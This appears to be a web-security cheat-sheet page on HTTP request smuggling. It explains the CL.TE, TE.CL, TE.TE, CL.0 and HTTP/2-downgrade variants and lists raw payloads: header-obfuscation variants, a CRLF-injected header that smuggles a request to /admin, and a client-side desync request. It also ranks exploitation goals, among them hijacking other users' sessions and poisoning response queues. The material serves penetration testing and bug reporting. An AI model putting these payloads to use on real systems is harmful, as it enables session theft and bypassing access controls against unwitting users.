caon.io

Request Smuggling

Front end and back end disagree about where one request ends. The leftover bytes become a prefix on somebody else’s request.

ONE REQUEST, TWO READINGS FRONT END: uses Content-Length POST / HTTP/1.1 Content-Length: 13 Transfer-Encoding: chunked 0 SMUGGLED reads all 13 bytes, forwards everything BACK END: uses Transfer-Encoding POST / HTTP/1.1 Content-Length: 13 Transfer-Encoding: chunked 0 ← stops here, body complete "SMUGGLED" stays in the buffer keep-alive NEXT USER'S REQUEST SMUGGLEDGET /home HTTP/1.1 their request is now your prefix TE.CL is the mirror: front end chunks, back end counts. Desync either way. H2.CL / H2.TE downgrade HTTP/2.
CL.TE: the front end counts bytes, the back end reads chunks.

Tools

  • HTTP Request Smuggler, Burp extension
# https://github.com/defparam/smuggler
python3 smuggler.py -u <URL>

The four shapes

Name Front end Back end
CL.TE Content-Length Transfer-Encoding
TE.CL Transfer-Encoding Content-Length
TE.TE both, one is tricked into ignoring TE
CL.0 Content-Length ignores the body entirely

Obfuscating Transfer-Encoding

For TE.TE you need one end to reject the header and the other to accept it.

Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
 : chunked
Transfer_Encoding: chunked
TRANSFER-ENCODING: CHUNKED

Detect with timing

Safer than differential responses and does not poison other users.

# CL.TE: back end waits for a chunk that never comes
POST / HTTP/1.1
Content-Length: 4
Transfer-Encoding: chunked

1
A
X

A hang means the back end is reading chunks. Burp’s extension does this in Smuggle probe.

HTTP/2 downgrade

Most of the live surface today. The front end speaks HTTP/2, rewrites to HTTP/1.1 for the back end, and trusts the pseudo-header length.

  • H2.CL: send an explicit content-length in an HTTP/2 request
  • H2.TE: send transfer-encoding: chunked in an HTTP/2 request
  • CRLF injection in a header value: smuggle a whole request inside one h2 header
foo: bar\r\nContent-Length: 0\r\n\r\nGET /admin HTTP/1.1\r\nX: x

Burp Repeater: enable “Allow HTTP/2 ALPN override” and turn off “Update Content-Length”.

Client-side desync

No back end disagreement needed: the victim’s own browser is the second request. Works against a single server.

POST / HTTP/1.1
Content-Length: 41

GET /404 HTTP/1.1
X: Y

If the server ignores the body on that endpoint (CL.0), the browser’s next request is appended. Deliverable from a normal web page.

What to do with it

Ranked by how well it reports:

  1. Capture another user’s request: smuggle a prefix that stores their request into a page you can read. Proves session theft.
  2. Bypass front-end controls: reach /admin when the proxy blocks it.
  3. Turn a reflected XSS into a stored one against the next visitor.
  4. Poison the response queue: every subsequent user gets the wrong response.
  5. Host header injection chain: see Host Header Injection.

Test on your own connection first. Response-queue poisoning affects real users. Do it once, prove it, stop, and say so in the report.

Articles

Request Smuggling

Exploitation

  • Bring impact by reporting smuggling chained with host injection. Users should make simple request with your injected header.
↑↓ navigate↵ openesc close